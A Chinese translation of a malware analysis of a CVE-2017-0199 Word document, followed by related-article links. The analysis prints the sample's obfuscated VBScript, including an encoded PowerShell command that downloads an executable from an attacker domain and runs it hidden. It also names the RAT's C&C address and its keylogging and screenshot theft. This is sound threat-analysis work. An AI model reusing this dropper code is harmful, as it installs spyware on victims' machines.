由prison翻译整理,首发i春秋
 
引言;
 
这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。
 
过程非常详细,附带所需样本,适合新手。难度三颗星。
目标文件:
我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。

b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
  
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
  
>> 'http://mozillatm.com/loading.html'
这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。

你可以从这里参考
这个环节开始变得有意思起来了。
fuNctioN gJSoYXXAVqwD()
  
    DIM taCXnLuJDFFL
  
    taCXnLuJDFFL = cHRW(34)
     CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
     HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
     ChRw(34)
  
    CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
     " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
  
eND fUnCtioN

[/table]

但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

伪代码可以这样写:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run  ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
攻击者似乎使用的是RAT。

在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。

Program Files中复制的文件:

然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。

“Mozillatm.exe”将是我们的恶意可执行文件。

该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。

这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms

按键日志可以在“logs”文件夹中找到。

屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。

我编写了一个简单的工具来使用压缩算法执行压缩和解压。

/*
 * Title: Deflate Tool
 * Purpose: Compress and decompress files using the Deflate algorithm
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: [url]https://OsandaMalith.com[/url]
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
 
namespace compress2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
 
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                System.Environment.Exit(-1);
            }
 
            DeflateStream deflate = null;
            FileStream sink = null;
            FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
 
            if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
            {
                deflate = new DeflateStream(source, CompressionMode.Decompress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
 
                byte[] buffer = new byte[source.Length];
                buffer = new byte[source.Length];
 
                deflate.Read(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
            {
                deflate = new DeflateStream(source, CompressionMode.Compress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                byte[] buffer = new byte[source.Length];
                source.Read(buffer, 0, buffer.Length);
                deflate.Write(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else
            {
                Console.WriteLine("Enter an option -c compress or -d decompress");
                System.Environment.Exit(-1);
            }
 
            source.Close();
        
        }
    }
}

这是恶意软件的截图。

出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。

但是,它使用HTTP身份验证。

通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。

·         Bd2bd.com
·         Pc-net.org
·         Bd-pc.com
·         Registerbd.com
·         
附上我分析过的样本:
Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

带你走进二进制-一次APT攻击分析的更多相关文章

  1. 初探APT攻击

    首发于i春秋 作者:joe     所属团队:Arctic Shell 团队博客地址:https://www.cnblogs.com/anbus/   0x1:关于APT的相关介绍:     APT是 ...

  2. APT攻击基础科普

    0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名 ...

  3. 初探APT 攻击

    作者:joe       所属团队:Arctic Shell 本文编写参考: https://www.freebuf.com/vuls/175280.html https://www.freebuf. ...

  4. 从kill-chain的角度检测APT攻击

    前言 最近一直在考虑如何结合kill chain检测APT攻击.出发点是因为尽管APT是一种特殊.高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测 ...

  5. MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界

    MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...

  6. 小丁带你走进git的世界三-撤销修改

    一.撤销指令 git checkout还原工作区的功能 git reset  还原暂存区的功能 git clean  还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...

  7. 小丁带你走进git的世界二-工作区暂存区分支

    小丁带你走进git的世界二-工作区暂存区分支 一.Git基本工作流程 1.初始化一个仓库 git  init git  clone git仓库分为两种情况: 第一种是在现有项目或目录下导入所有文件到 ...

  8. 小丁带你走进git世界一-git简单配置

    小丁带你走进git世界一-git简单配置 1.github的简单配置 配置提交代码的信息,例如是谁提交的代码之类的. git config  –global user.name BattleHeaer ...

  9. 水坑式攻击-APT攻击常见手段

    所谓“水坑攻击”,是指黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击. 水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客 ...

随机推荐

  1. ubuntu的应用中心打不开、闪退

    原因没有细究,但问题已经解决简单粗暴: 1.更新列表 apt-get update apt-get dist-upgrade 2.重新安装应用中心 apt-get install  --reinsta ...

  2. springboot 配置DRUID数据源

    druid 是阿里开源的数据库连接池. 开发时整合   druid 数据源过程. 1.修改pom.xml <dependency> <groupId>mysql</gro ...

  3. 第1章 Python数据模型

    #<流畅的Python>读书笔记 # 第一部分 序幕 # 第1章 Python数据模型 # 魔术方法(magic method)是特殊方法的昵称.于是乎,特殊方法也叫双下方法(dunder ...

  4. understand试用笔记一阅读VS2010项目

    一.查看vs2010项目 打开understand,File—New—Project...—Next—Next [向导第三步,选“Import Visual Sudio project files”] ...

  5. IntelliJ IDEA 2017版 使用笔记(五) 模板 live template自定义设置(二) ;postfix使用;IDE快捷键使用

    一.live template 活模板     就像这个单词的含义一样,live template就是一个高效的提高代码,书写速度的方式,(live template位置File-----settin ...

  6. Fastjson和Gson零碎总结

    一:用于测试的类 User类 import lombok.Data; import lombok.experimental.Accessors; /** * @author silentdoer * ...

  7. 通过Windows API实现的MDI简易程序

    ## #include <windows.h> #include <tchar.h> HINSTANCE hInst; ATOM WindowRegister(WNDPROC ...

  8. multiprocessing、threading、gevent区别

    1. 进程是资源分配的单位 2. 线程是操作系统调度的单位 3. 进程切换需要的资源很最大,效率很低 4. 线程切换需要的资源一般,效率一般(当然了在不考虑GIL的情况下) 5. 协程切换任务资源很小 ...

  9. ADALINE小demo

    线性逼近 clear;clc;close all x = [1,0.5; 1.5,1.1; 3,3; -1.2,-1]; y = x(:,2); x = [ones(size(x,1),1),x(:, ...

  10. 有趣的CSS3背景 斜条纹

    今天逛的时候发现了一个有趣的css3实现的背景效果,代码实现 .noaccess { position: absolute; width: 300px; height: 100px; z-index: ...